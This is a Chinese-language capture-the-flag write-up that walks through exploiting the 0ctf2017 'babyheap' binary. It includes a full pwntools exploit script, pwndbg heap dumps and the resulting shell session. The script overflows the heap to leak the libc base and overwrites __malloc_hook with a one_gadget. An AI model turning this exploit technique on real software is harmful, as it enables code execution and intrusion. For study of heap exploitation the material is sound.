前言
本片文章從0ctf2017-babyheap這一道pwn題目入手,講解pwn堆中的一些利用手法
分析程序
首先檢查程序保護,所有的保護措施都是開啓的,這意味着我們想要改寫程序流程考慮從malloc_hook
和free_hook
入手
[*] '/home/thunder/Desktop/codes/ctf/pwn/heap/0ctf_babyheap/0ctfbabyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
sed -i s/alarm/isnan/g ./0ctfbabyheap
命令除去alarm函數,初步運行程序,有以下幾個功能:
- 申請chunk
- 填充chunk
- 銷燬chunk
- 輸出chunk
- 退出程序
===== Baby Heap in 2017 =====
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command:
漏洞點存在於申請chunk和填充chunk部分,我們着重對這兩個地方進行分析
申請chunk
IDA中反彙編如下,這裏使用了calloc
函數,相當於malloc + memset
void __fastcall alloc(__int64 heap)
{
int index; // [rsp+10h] [rbp-10h]
int v2; // [rsp+14h] [rbp-Ch]
void *v3; // [rsp+18h] [rbp-8h]
for ( index = 0; index <= 15; ++index )
{
if ( !*(_DWORD *)(24LL * index + heap) )
{
printf("Size: ");
v2 = input_();
if ( v2 > 0 )
{
if ( v2 > 4096 )
v2 = 4096;
v3 = calloc(v2, 1uLL);
if ( !v3 )
exit(-1);
*(_DWORD *)(24LL * index + heap) = 1;
*(_QWORD *)(heap + 24LL * index + 8) = v2;
*(_QWORD *)(heap + 24LL * index + 16) = v3;
printf("Allocate Index %d\n", (unsigned int)index);
}
return;
}
}
}
反彙編中我們可以分析heap結構體大致如下
struct heap
{
signed int flag; //標記是否被分配
signed int size; //請求申請的大小
void* chunk_m; //chunk的mem值
}
填充chunk
IDA反彙編如下,需要注意的是,這裏並沒有對填充的大小進行限制,也就意味着我們可以堆溢出控制下面的chunk
__int64 __fastcall fill(__int64 a1)
{
__int64 result; // rax
int v2; // [rsp+18h] [rbp-8h]
int v3; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
result = input_();
v2 = result;
if ( (int)result >= 0 && (int)result <= 15 )
{
result = *(unsigned int *)(24LL * (int)result + a1);
if ( (_DWORD)result == 1 )
{
printf("Size: ");
result = input_();
v3 = result;
if ( (int)result > 0 )
{
printf("Content: ");
result = sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
}
}
}
return result;
}
Exploit
這裏先放exp,然後逐步進行調試講解,我們的利用可以分爲兩步,第一步是泄露libc基地址,第二步是getshell
from pwn import *
r = process('./0ctfbabyheap')
elf =ELF('./0ctfbabyheap')
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
if args.G:
gdb.attach(r)
def malloc(size):
r.recvuntil('Command: ')
r.sendline('1')
r.recvuntil('Size: ')
r.sendline(str(size))
def free(idx):
r.recvuntil('Command: ')
r.sendline('3')
r.recvuntil('Index: ')
r.sendline(str(idx))
def fill(idx,content):
r.recvuntil('Command: ')
r.sendline('2')
r.recvuntil('Index: ')
r.sendline(str(idx))
r.recvuntil('Size: ')
r.sendline(str(len(content)))
r.recvuntil('Content: ')
r.send(content)
def dump(idx):
r.recvuntil('Command: ')
r.sendline('4')
r.recvuntil('Index: ')
r.sendline(str(idx))
r.recvline()
return r.recvline()
malloc(0x10) # fast chunk 0
malloc(0x10) # fast chunk 1
malloc(0x10) # fast chunk 2
malloc(0x10) # fast chunk 3
malloc(0x80) # small chunk
free(1) # fastbin <- chunk1
free(2) # fastbin <- chunk2 <- chunk1
fill(0,p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80))
fill(3,p64(0)*3+p64(0x21))
malloc(0x10)
malloc(0x10)
fill(3,p64(0)*3+p64(0x91))
malloc(0x80)
free(4)
libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x58-0x399b00
success("libc_base: "+hex(libc_base))
fake_chunk = libc_base + 0x399acd
success("fake chunk:"+hex(fake_chunk))
malloc(0x60)
free(4)
fill(2,p64(fake_chunk)) # chunk[2]->fd = fake chunk
malloc(0x60)
malloc(0x60) # malloc fake chunk
# construct fake chunk
payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x3f35a) # one_gadgets
fill(6, payload)
# trigger
malloc(255)
r.interactive()
泄露libc地址
這裏我們是通過small chunk的機制泄露libc地址,當small chunk被釋放之後,會進入unsorted bin中,它的fd和bk指針會指向同一個地址(unsorted bin鏈表的頭部),通過這個地址可以獲得main_arena的地址,然後計算libc基地址,首先我們創建如下幾個chunk
code:
malloc(0x10) # fast chunk 0
malloc(0x10) # fast chunk 1
malloc(0x10) # fast chunk 2
malloc(0x10) # fast chunk 3
malloc(0x80) # small chunk
debugger:
pwndbg> x/20gx 0x55c448092000
0x55c448092000: 0x0000000000000000 0x0000000000000021
0x55c448092010: 0x0000000000000000 0x0000000000000000
0x55c448092020: 0x0000000000000000 0x0000000000000021
0x55c448092030: 0x0000000000000000 0x0000000000000000
0x55c448092040: 0x0000000000000000 0x0000000000000021
0x55c448092050: 0x0000000000000000 0x0000000000000000
0x55c448092060: 0x0000000000000000 0x0000000000000021
0x55c448092070: 0x0000000000000000 0x0000000000000000
0x55c448092080: 0x0000000000000000 0x0000000000000091
0x55c448092090: 0x0000000000000000 0x0000000000000000
pwndbg> x/20gx 0x361e77c925a0 => heap struct
0x361e77c925a0: 0x0000000000000001 0x0000000000000010
0x361e77c925b0: 0x000055c448092010 0x0000000000000001
0x361e77c925c0: 0x0000000000000010 0x000055c448092030
0x361e77c925d0: 0x0000000000000001 0x0000000000000010
0x361e77c925e0: 0x000055c448092050 0x0000000000000001
0x361e77c925f0: 0x0000000000000010 0x000055c448092070
0x361e77c92600: 0x0000000000000001 0x0000000000000080
0x361e77c92610: 0x000055c448092090 0x0000000000000000
0x361e77c92620: 0x0000000000000000 0x0000000000000000
0x361e77c92630: 0x0000000000000000 0x0000000000000000
釋放兩個fast chunk,將第二個指向第一個
code:
free(1)
free(2)
debugger:
pwndbg> x/20gx 0x55c448092000
0x55c448092000: 0x0000000000000000 0x0000000000000021 => 0
0x55c448092010: 0x0000000000000000 0x0000000000000000
0x55c448092020: 0x0000000000000000 0x0000000000000021 => 1 free
0x55c448092030: 0x0000000000000000 0x0000000000000000
0x55c448092040: 0x0000000000000000 0x0000000000000021 => 2 free
0x55c448092050: 0x000055c448092020 0x0000000000000000
0x55c448092060: 0x0000000000000000 0x0000000000000021 => 3
0x55c448092070: 0x0000000000000000 0x0000000000000000
0x55c448092080: 0x0000000000000000 0x0000000000000091 => 4
0x55c448092090: 0x0000000000000000 0x0000000000000000
pwndbg> bins
fastbins
0x20: 0x55c448092040 —▸ 0x55c448092020 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> x/20gx 0x361e77c925a0
0x361e77c925a0: 0x0000000000000001 0x0000000000000010
0x361e77c925b0: 0x000055c448092010 0x0000000000000000
0x361e77c925c0: 0x0000000000000000 0x0000000000000000
0x361e77c925d0: 0x0000000000000000 0x0000000000000000
0x361e77c925e0: 0x0000000000000000 0x0000000000000001
0x361e77c925f0: 0x0000000000000010 0x000055c448092070
0x361e77c92600: 0x0000000000000001 0x0000000000000080
0x361e77c92610: 0x000055c448092090 0x0000000000000000
0x361e77c92620: 0x0000000000000000 0x0000000000000000
0x361e77c92630: 0x0000000000000000 0x0000000000000000
這裏我們通過 fill 函數修改第0個chunk之後的內容,因爲沒有限制,所以我們可以修改到2處的指針,讓其指向chunk4,因爲chunk4是small bin,被鏈入到了fast bin中會有size的檢查,所以我們這裏需要將chunk4處的size改爲0x20過size的檢測
code:
fill(0,p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80))
debugger:
pwndbg> x/20gx 0x55c448092000
0x55c448092000: 0x0000000000000000 0x0000000000000021
0x55c448092010: 0x0000000000000000 0x0000000000000000
0x55c448092020: 0x0000000000000000 0x0000000000000021 free
0x55c448092030: 0x0000000000000000 0x0000000000000000
0x55c448092040: 0x0000000000000000 0x0000000000000021 free
0x55c448092050: 0x000055c448092080 0x0000000000000000
0x55c448092060: 0x0000000000000000 0x0000000000000021
0x55c448092070: 0x0000000000000000 0x0000000000000000
0x55c448092080: 0x0000000000000000 0x0000000000000091
0x55c448092090: 0x0000000000000000 0x0000000000000000
code:
fill(3,p64(0)*3+p64(0x21))
debugger:
pwndbg> x/20gx 0x55c448092000
0x55c448092000: 0x0000000000000000 0x0000000000000021
0x55c448092010: 0x0000000000000000 0x0000000000000000
0x55c448092020: 0x0000000000000000 0x0000000000000021
0x55c448092030: 0x0000000000000000 0x0000000000000000
0x55c448092040: 0x0000000000000000 0x0000000000000021
0x55c448092050: 0x000055c448092080 0x0000000000000000
0x55c448092060: 0x0000000000000000 0x0000000000000021
0x55c448092070: 0x0000000000000000 0x0000000000000000
0x55c448092080: 0x0000000000000000 0x0000000000000021
0x55c448092090: 0x0000000000000000 0x0000000000000000
pwndbg> bins
fastbins
0x20: 0x55c448092040 —▸ 0x55c448092080 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
然後我們申請這兩個地方的fastbin就可以讓index 2的堆塊的地址和index 4堆塊的地址一樣,等index 4被free後,這裏就是fd 字段,之後便能通過dump index 2來泄漏index 4的fd內容,括號中括起來的即是heap結構體中指向的同一地址
code:
malloc(0x10)
malloc(0x10)
debugger:
pwndbg> x/20gx 0x361e77c925a0
0x361e77c925a0: 0x0000000000000001 0x0000000000000010
0x361e77c925b0: 0x000055c448092010 0x0000000000000001
0x361e77c925c0: 0x0000000000000010 0x000055c448092050
0x361e77c925d0: 0x0000000000000001 0x0000000000000010
0x361e77c925e0: (0x000055c448092090) 0x0000000000000001
0x361e77c925f0: 0x0000000000000010 0x000055c448092070
0x361e77c92600: 0x0000000000000001 0x0000000000000080
0x361e77c92610: (0x000055c448092090) 0x0000000000000000
0x361e77c92620: 0x0000000000000000 0x0000000000000000
0x361e77c92630: 0x0000000000000000 0x0000000000000000
我們再將其改爲原來的大小,申請釋放即可泄露出fd指向的地址
code:
fill(3,p64(0)*3+p64(0x91))
malloc(0x80)
free(4)
debugger:
pwndbg> x/20gx 0x55c448092000
0x55c448092000: 0x0000000000000000 0x0000000000000021
0x55c448092010: 0x0000000000000000 0x0000000000000000
0x55c448092020: 0x0000000000000000 0x0000000000000021
0x55c448092030: 0x0000000000000000 0x0000000000000000
0x55c448092040: 0x0000000000000000 0x0000000000000021
0x55c448092050: 0x0000000000000000 0x0000000000000000
0x55c448092060: 0x0000000000000000 0x0000000000000021
0x55c448092070: 0x0000000000000000 0x0000000000000000
0x55c448092080: 0x0000000000000000 0x0000000000000091
0x55c448092090: 0x00007f9c3ed6db58 0x00007f9c3ed6db58
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55c448092080 —▸ 0x7f9c3ed6db58 (main_arena+88) ◂— 0x55c448092080
smallbins
empty
largebins
empty
這個地址是main_arena+88
,我們將其減去0x58得到main_arena的地址,然後根據自己系統libc版本減去相應的偏移獲得libc的基地址
code:
libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x58-0x399b00
success("libc_base: "+hex(libc_base))
debugger:
pwndbg> vmmap
[...]
0x7f9c3e9d4000 0x7f9c3eb69000 r-xp 195000 0 /usr/lib/x86_64-linux-gnu/libc-2.24.so
[...]
pwndbg> p/x 0x7f9c3ed6db00-0x7f9c3e9d4000
$2 = 0x399b00
getshell
我們這裏考慮的是使用malloc_hook函數來getshell,當調用 malloc 時,如果 malloc_hook 不爲空則調用指向的這個函數,所以這裏我們傳入一個 one-gadget 即可,首先我們需要找到一個fake chunk,我們將其申請到然後將 one-gadget 寫入,它的size選擇在0x10~0x80之間即可,這裏選擇的是mallc_hook上面一排的地方,爲了使我們的user data剛好能夠寫到malloc_hook的位置
pwndbg> x/20gx 0x7f9c3e9d4000+0x399acd
0x7f9c3ed6dacd <_IO_wide_data_0+301>: 0x9c3ed69f00000000 0x000000000000007f
0x7f9c3ed6dadd: 0x9c3ea50420000000 0x9c3ea503c000007f
0x7f9c3ed6daed <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000
0x7f9c3ed6dafd: 0x0000000000000000 0x0000000000000000
0x7f9c3ed6db0d <main_arena+13>: 0x0000000000000000 0x0000000000000000
0x7f9c3ed6db1d <main_arena+29>: 0x0000000000000000 0x0000000000000000
0x7f9c3ed6db2d <main_arena+45>: 0x0000000000000000 0x0000000000000000
0x7f9c3ed6db3d <main_arena+61>: 0x0000000000000000 0x0000000000000000
0x7f9c3ed6db4d <main_arena+77>: 0x0000000000000000 0xc4480921a0000000
0x7f9c3ed6db5d <main_arena+93>: 0x0000000000000055 0xc448092080000000
利用fast bin機制進行如下構造,我們需要申請到fake_chunk的位置
code:
malloc(0x60)
free(4)
fill(2,p64(fake_chunk)) # chunk[2]->fd = fake chunk
debugger:
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x55c448092080 —▸ 0x7f9c3ed6dacd (_IO_wide_data_0+301) ◂— 0x9c3ea50420000000
0x80: 0x0
unsortedbin
all: 0x55c4480920f0 —▸ 0x7f9c3ed6db58 (main_arena+88) ◂— 0x55c4480920f0
smallbins
empty
largebins
empty
繼續malloc兩次即可申請到fake chunk的地方,就可以對malloc_hook進行寫入
code:
malloc(0x60)
malloc(0x60) # malloc fake chunk
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x9c3ea50420000000
0x80: 0x0
unsortedbin
all: 0x55c4480920f0 —▸ 0x7f9c3ed6db58 (main_arena+88) ◂— 0x55c4480920f0
smallbins
empty
largebins
empty
最後我們構造fake chunk,寫入one_gadget即可,這裏根據自己的libc版本查詢相應的one_gadget
# construct fake chunk
payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x3f35a) # one_gadgets
fill(6, payload)
# trigger
malloc(255)
最後getshell
$ ls
[DEBUG] Sent 0x3 bytes:
'ls\n'
[DEBUG] Received 0x2f bytes:
'0ctfbabyheap core exp.py libc.so.6\n'
0ctfbabyheap core exp.py libc.so.6
$ whoami
[DEBUG] Sent 0x7 bytes:
'whoami\n'
[DEBUG] Received 0x8 bytes:
'thunder\n'
thunder
後記
這道題目因爲可以自己構造堆的結構,所以比較自由,利用的方法也非常多,我的exp是針對我的deepin環境,想要在不同平臺進行利用,需要查看自己libc中的偏移,修改部分偏移即可,好久沒在csdn上寫東西了,大多數都在博客中更新的,今天心血來潮跟新一下吧~